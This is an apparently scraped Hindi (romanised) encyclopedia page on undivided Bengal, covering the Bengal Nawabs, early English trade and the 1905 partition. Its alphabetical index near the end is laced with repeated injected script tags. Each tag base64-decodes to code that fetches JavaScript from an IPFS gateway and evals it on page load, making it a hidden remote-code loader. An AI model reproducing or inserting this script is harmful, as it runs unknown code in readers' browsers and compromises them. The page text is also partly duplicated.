अखण्डित बंगाल

	akhandit bangal
	akhandit bangal ka manachitr\|200px\|center
vivaran	bangal athava 'akhandit bangal' uttarapoorvi dakshin eshiya mean ek kshetr hai.
vibhajan	sanh 1905 mean bharat ke british vaisar aauy l aaurd karzan dvara bharatiy rashtravadiyoan ke bhari virodh ke bavajood bangal ka vibhajan (pashchim bangal aur poorvi bangal) kiya gaya tha. jisamean poorvi bangal bad mean baangladesh ke roop mean svatantr rashtr bana.
rashtriy shok divas	vibhajan ke din 16 aktoobar, 1905 ee. ko poore bangal mean 'rashtriy shok divas' ke roop mean manane ki ghoshana ki gayi.
vibhajan ke khilaf aandolan	vibhajan ke khilaf aandolan ke lie janasabhaean, gramin aandolan aur british vastuoan ke ayat ke bahishkar ke lie svadeshi aandolan chhe da gaya. tamam aandolanoan ke bavajood vibhajan hua aur charamapanthi virodhi atankavadi aandolan chalane ke lie bhoomigat ho jae. 1911 mean jab desh ki rajadhani kalakatta se dilli le jaee gee, to poorv aur pashchim bangal pun: ek ho ge.
mukhy shahar	kolakata (bharat) aur dhaka (baangladesh)
bhasha	baangla
kshetraphal	232,752 varg kimi
janasankhya	245,598,679 (2001)
any janakari	vibhajan ke sambandh mean l aaurd karzan ka tark tha ki tatkalin bangal, jisamean bihar aur u disa bhi shamil the, jo kafi vistrit hai aur akela lephtineant gavarnar usaka prashasan bhali-bhaanti nahian chala sakata hai.

chitr:Disamb2.jpg bangal

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- bangal (bahuvikalpi)

bangal mugal samrajy ke antargat ane vale prantoan mean sarvadhik sampann tha. aangrezoan ne bangal mean apani pratham kothi 1651 ee. mean hugali mean tatkalin bangal ke soobedar 'shahashuja' (shahajahaan ke doosare putr) ki anumati se banayi tatha bangal se shore, resham aur chini ka vyapar arambh kiya. ye bangal ke niryat ki pramukh vastuaian thian. usi varsh mugal rajavansh ki ek stri ki, daktar bautan dvara chikitsa karane par usane aangrezoan ko 3,000 ru. varshik mean bangal, bihar tatha u disa mean mukt vyapar ki anumati pradan ki. shighr hi aangrezoan ne kasim bazar, patana tatha any sthanoan par kothiyaan bana lian.

soobedaroan ki svatantrata

bangal ke navab
navab	shasan kal
murshidakuli khaan	1717-1727 ee.
shujauddin	1727-1739 ee.
sarafaraj khaan	1739-1740 ee.
alivardi khaan	1740-1756 ee.
sirajuddaula	1756-1757 ee.
mir zafar	1757-1760 ee.
mir kasim	1760-1763 ee.
mir zafar (doosari bar)	1763-1765 ee.
najamuddaula	1765-1766 ee.
shaiph-udh-daula	1766-1770 ee.
mubarak-udh-daula	1770-1775 ee.

1658 ee. mean aurangazeb ne mir jumala ko bangal ka soobedar niyukt kiya. usane aangrezoan ke vyapar par kathor pratibandh laga diya, parinamasvaroop 1658 se 1663 ee. tak aangrezoan ko b di kathinaee ka samana karana p da. kintu 1698 ee. mean soobedar ajimushshan dvara aangrezoan ko sootanati, kalighat evan govindapur ki zamiandari de di gayi, jisase aangrezoan ko vyapar karane mean kafi labh prapt hua. 18vian shatabdi ke prarambhik daur mean yahaan ke soobedaroan ne apani svatantrata ki ghoshana kar navab ki upadhi dharan ki. murshidakuli jafar khaan, jo aurangazeb ke samay mean bangal ka divan tatha murshidabad ka faujadar tha, badashah ki mutyu ke bad 1717 mean bangal ka svatantr shasak ban gaya. murshidakuli khaan ne bangal ki rajadhani ko dhaka se murshidabad hastaantarit kar diya. usake shasan kal mean tin vidroh hue-

sitarat ray, uday narayan tatha gulam muhammad ka vidroh,
shujat khaan ka vidroh,
najat khaan ka vidroh, isako harane ke bad murshidakuli khaan ne usaki zamiandariyoan ko apane kripapatr ramajivan ko de diya.

bhoo-rajasv bandobast

murshid kuli khaan ne ne sire se bangal ke vittiy mamale ka prabandh kiya. usane ne bhoo-rajasv bandobast ke jarie jagir bhoomi ke ek b de bhag ko khalasa bhoomi bana diya tatha 'ijara vyavastha' (theke par bhoo-rajasv vasool karane ki vyavastha) arambh ki. 1732 ee. mean bangal ke navab dvara alivardi khaan ko bihar ka soobedar niyukt kiya gaya. 1740 ee. mean alivardi khaan ne bangal ke navab shujauddin ke putr sarafaraj ko gheriya ke yuddh mean parast kar bangal ki soobedari prapt kar li or vah ab bangal, bihar aur u disa ke sammilit pradesh ka navab ban gaya. yahi nahian, isane tatkalin mugal samrat muhammadashah se 2 karo d rupaye nazarane ke badalean mean svikriti bhi prapt kar liya. usane lagabhag 15 varsh tak marathoan se sangharsh kiya. alivardi khaan ne yooropiyoan ki tulana madhumakkhiyoan se karate hue kaha ki 'yadi unhean chhe da n jay, to ve shahad deangi aur yadi chhe da jay to kat-kat kar mar daleangi.' thumb|left|bangal ka manachitr (sanh 1905) 1756 ee. mean alivardi khaan ke marane ke bad usake pautr sirajuddaula ne gaddi ko grahan kiya. poorniya ka navab 'shaukatajang' (siraj ki mausi ka ladaka) tatha ghasiti begam (siraj ki mausi), donoan hi sirajuddaula ke prabal virodhi the. usaka sabase 'prabal shatru' bangal ki sena ka senanayak aur alivardi khaan ka bahanaee-mirajafar ali tha. doosari or, chooanki aangrez, fraansisiyoan se bhayabhit the, atah unhoanne kalakatta (vartaman kolakata) ki fort viliyam kothi ki qilebandi kar dali. aangrezoan ne shaukatajang evan ghasiti begam ka samarthan kiya. aangrezoan ke is kary se rusht hokar sirajuddaula ne 15 joon, 1756 ko fort viliyam ka gherav kar aangrezoan ko atmasamarpan ke lie majaboor kar diya. antatah navab ne kalakatta manikachandr ko sauanp diya aur svayan murshidabad a gaya. yahi vah samay tha, jab bangal mean 'blaik hol ghatana' (kalakothari) ghati, jisake liye navab sirajuddaula ko zimmedar thaharaya gaya.

bangal ka vibhajan

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sanh 1905 mean bharat ke british vaisar aauy l aaurd karzan dvara bharatiy rashtravadiyoan ke bhari virodh ke bavajood bangal ka vibhajan kiya gaya tha. isake bad bharatiy rashtriy kaangres ne madhyamavargiy dabab samooh se badhakar rashtriy star ke jan aandolan ka roop le liya. 1755 ee. mean denish eest iandiya kampani ne bangal mean shriramapur mean apani basti sthapit ki. 1765 se british bharat mean bangal, bihar aur u disa sanyukt roop se ek hi praant the. 1900 tak yah praant itana b da ho gaya ke ise ek prashasan ke aantargat rakhane mean pareshani hone lagi. alag-alag hone aur sanchar-sadhanoan ke abhav mean pashchim bangal tatha bihar ki tulana mean poorvi bangal ki upeksha hone lagi.

karzan ne vibhajan ke kee tariqoan mean se ek ko chuna: asam ko, jo 1874 tak is praant ka ek hissa tha, poorvi bangal ke 15 ziloan ke sath milakar 3 karo d 10 lakh ki abadi vala naya praant banaya. isaki rajadhani dhaka thi aur janata mukhyat: musalaman thi.pashchim bangal ke hianduoan ne, jo bangal ke adhikaansh vanijy, vyavasay aur gramin jivan par niyantran rakhate the, shikayat ki ki bangal kshetr ke do bhagoan mean bant jane se ve bihar aur u disa samet bache hue praant mean alpasankhyak ho jaeange. unhoanne ise bangal mean rashtriyata ka gala ghotane ki koshish mana, jahaan yah any sthanoan ki apeksha adhik vikasit thi.

andolan

vibhajan ke khilaf aandolan ke lie janasabhaean, gramin aandolan aur british vastuoan ke ayat ke bahishkar ke lie svadeshi aandolan chhe da gaya. tamam aandolanoan ke bavajood vibhajan hua aur charamapanthi virodhi atankavadi aandolan chalane ke lie bhoomigat ho jae. 1911 mean jab desh ki rajadhani kalakatta se dilli le jaee gee, to poorv aur pashchim bangal pun: ek ho ge, asam ek bar phir alag mukhy praant ban gaya aur bihar v u disa ko alag karake naya praant bana diya gaya. isaka uddeshy prashasanik suvidha ke sath-sath bangaliyoan ki bhavanaoan ko tusht karana bhi tha. kuchh samay tak to is lakshy ki prapti ho gee, lekin vibhajan se labhanvit hue bangali musalaman naraz aur nirash the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

akhandit bangal
akhandit bangal ka manachitr\|200px\|center
vivaran	bangal athava 'akhandit bangal' uttarapoorvi dakshin eshiya mean ek kshetr hai.
vibhajan	sanh 1905 mean bharat ke british vaisar aauy l aaurd karzan dvara bharatiy rashtravadiyoan ke bhari virodh ke bavajood bangal ka vibhajan (pashchim bangal aur poorvi bangal) kiya gaya tha. jisamean poorvi bangal bad mean baangladesh ke roop mean svatantr rashtr bana.
rashtriy shok divas	vibhajan ke din 16 aktoobar, 1905 ee. ko poore bangal mean 'rashtriy shok divas' ke roop mean manane ki ghoshana ki gayi.
vibhajan ke khilaf aandolan	vibhajan ke khilaf aandolan ke lie janasabhaean, gramin aandolan aur british vastuoan ke ayat ke bahishkar ke lie svadeshi aandolan chhe da gaya. tamam aandolanoan ke bavajood vibhajan hua aur charamapanthi virodhi atankavadi aandolan chalane ke lie bhoomigat ho jae. 1911 mean jab desh ki rajadhani kalakatta se dilli le jaee gee, to poorv aur pashchim bangal pun: ek ho ge.
mukhy shahar	kolakata (bharat) aur dhaka (baangladesh)
bhasha	baangla
kshetraphal	232,752 varg kimi
janasankhya	245,598,679 (2001)
any janakari	vibhajan ke sambandh mean l aaurd karzan ka tark tha ki tatkalin bangal, jisamean bihar aur u disa bhi shamil the, jo kafi vistrit hai aur akela lephtineant gavarnar usaka prashasan bhali-bhaanti nahian chala sakata hai.